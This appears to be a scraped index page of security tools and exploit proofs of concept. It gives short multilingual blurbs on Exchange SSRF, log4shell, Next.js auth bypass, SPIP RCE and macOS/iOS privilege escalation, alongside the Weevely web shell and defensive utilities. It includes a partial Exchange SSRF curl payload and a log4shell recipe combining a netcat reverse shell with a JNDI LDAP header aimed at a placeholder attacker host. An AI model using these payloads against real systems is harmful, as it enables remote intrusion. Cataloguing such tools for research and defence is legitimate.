CVE-2021-26855_PoC

CVE-2021-26855PoC Mes premières charges utiles SSRF CVE-2021-26855 sur Exchange Server 2019... Charge utile 1 root@kitploit: curl -i -s -k -X $'GET' -H $'Host: ' -H $'User-Agent: alex666' -H $'Connection: close' -b $'X-AnonResource=true;...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...

monitor

BetterDB Monitor...

test-44228

test-44228 Un exemple simple pour CVE-2021-44228 Implémente deux CLI Java, l'une utilisant log4j v1.x, l'autre utilisant log4j 2.x pour démontrer la vulnérabilité log4shell. Voir aussi : https://www.lunasec.io/docs/blog/log4j-zero-day/...

mach_race

Mach Race OS X - Exploit d'élévation de privilèges locaux c fG! 2015, 2016, [email protected] - https://reverse.put.as Un exploit OS X universel pour les SUID, SIP et les entitlements de binaires CVE-2016-1757. Utilisation contre un binaire SUID : ./machraceserver /bin/ps compatmode for i in...

X-force

Bibliothèque IBM X-Force Exchange | Bibliothèque IBM Security X-Force Exchange en Python 3. Recherche : threatactivities, threatgroups, malwareanalysis, collector et industries. Pour d'autres applications. Voir ---|--- Installation root@kitploit: pip3 install XForce Utilisation Utilisez votre clé...

Exploit11.2

Exploit11.2 استغلال iOS 11.2.x بواسطة ZIMPERIUM ومكتمل جزئياً بواسطتي. هروب من وضع الحماية على CVE-2018-4087. هذا يتحقق أيضاً من صلاحية الجذر غير المكتملة. يمكنك إنشاء تطبيق لتشغيل الاستغلال على جهازك إذا كنت مطوراً وتفعيل صلاحية الجذر @. شكر لـ: •RaniXCH, Adam Donenfeld, Abraham Masri و ZIMPERIU...

RootPipe-Demo

RootPipe-Demo هذا تطبيق ماك كإثبات للمفهوم يُظهر ثغرة تصعيد الامتيازات RootPipe CVE-2015-1130 التي اكتشفها Emil Kvarnhammar من TrueSec كُتب هذا العرض التوضيحي بلغة Objective-C، ومُهاجَر من Python PoC هنا: RootPipe الاستخدام لاستخدام الأداة، ببساطة قم بتقديم مسار إلى ملف تريد منحه صلاحيات مرتفعة، ...

SPIP-CVE-2024-23659-

SPIP-CVE-2024-23659- SPIP BigUp 비인증 RCE 검증/익스플로잇용 Python 3 스크립트 현재 코드 기준, 운영 참조는 CVE-2024-8517. ⚠️ 중요 참고: 저장소 이름에는 CVE-2024-23659이 언급되어 있지만, 스크립트cve.py와 내부 메시지는 CVE-2024-8517을 참조합니다. 기술적 혼란을 피하기 위해 이 부분을 검토하고 통일하세요. 설명 cve.py는 다음을 자동화합니다: 1. SPIP 폼formulaireaction 및 formulaireactionargs 발견. 2. 대상...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

darwis-taxii

DARWIS TAXII Un serveur TAXII Trusted Automated eXchange of Indicator Information haute performance écrit en Rust. Port Rust de EclecticIQ OpenTAXII avec une compatibilité totale de base de données. Fonctionnalités TAXII 1.x - Découverte, Poll, Inbox, Gestion des collections, Abonnements TAXII 2....

CVE-2025-29927

Introduction Contournement du mécanisme d'authentification du middleware Next.js en falsifiant l'en-tête de requête x-middleware-subrequest, permettant un accès non autorisé aux routes protégées. Configuration de l'environnement Le code source du projet est extrait de P神, la version Next.js est...

log4shell_1.x

Log4jShell1.x Log4j RCE 1.x Poc هجوم القيود 1. الهدف يحتوي على بيئة jms 2. تحتاج إلى الحصول على صلاحية لتعديل ملف log4j.properties الاستنتاج ليس مفيدًا مثل log4shell 2.x موضوع Log4shell https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j مرحبًا بك في المساهمة في reapoc...

CVE-2024-41276

CVE-2024-41276 تجاوز مصادقة Kaiten Kaiten - نظام إدارة سير العمل. تسمح ثغرة أمنية في Kaiten للمهاجمين بتجاوز آلية مصادقة رمز PIN. يتطلب التطبيق من المستخدمين إدخال رمز PIN مكون من 6 أرقام يُرسل إلى بريدهم الإلكتروني للتحقق بعد إدخال بيانات تسجيل الدخول. ومع ذلك، يمكن تجاوز آلية الحد من الطلبات...

CVE-2024-33676

CVE-2024-33676 Authentification et autorisation faibles sur le chargeur EV Enel X JuiceBox Level 2 permettant l'accès aux fonctions et paramètres du système d'exploitation. Description Les utilisateurs sur le réseau WLAN local du chargeur EV peuvent extraire des informations personnelles PII,...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh تحويل إلى Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= الحمولة curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 إثبات المفهوم Log4j PoC تابع...

poro

poro Description Scan for publicly accessible assets on your AWS environment Services covered by this tool: AWS ELB API Gateway S3 Buckets RDS Databases EC2 instances Redshift Databases Poro also check if a tag you specify is applied to identified public resources using --tag-key and --tag-value...

audit

audit Panneau de préférences d'audit et lecteur de journaux pour OS X OS X dispose d'un système d'audit intégré basé sur OpenBSM. Il est configuré via la ligne de commande et possède une syntaxe quelque peu ésotérique. Pour y remédier, j'ai créé un panneau de préférences système pour configurer l...

ExchangeFinder

ExchangeFinder ExchangeFinder est un outil simple et open-source qui tente de trouver une instance Microsoft Exchange pour un domaine donné, en se basant sur les noms DNS courants les plus utilisés pour Microsoft Exchange. ExchangeFinder peut identifier la version exacte de Microsoft Exchange, de...

NextBypass

NextBypass 🚨 أداة تجاوز التفويض الوسيط لـ Next.js CVE-2025-29927 الميزات استغلال CVE-2025-29927 عبر رأس x-middleware-subrequest تكامل متصفح تلقائي وكيل/إشارة مرجعية فحص الثغرات وتحليل السجلات مراقبة حركة الشبكة التثبيت root@kitploit: git clone https://github.com/your-username/NextBypass.git cd...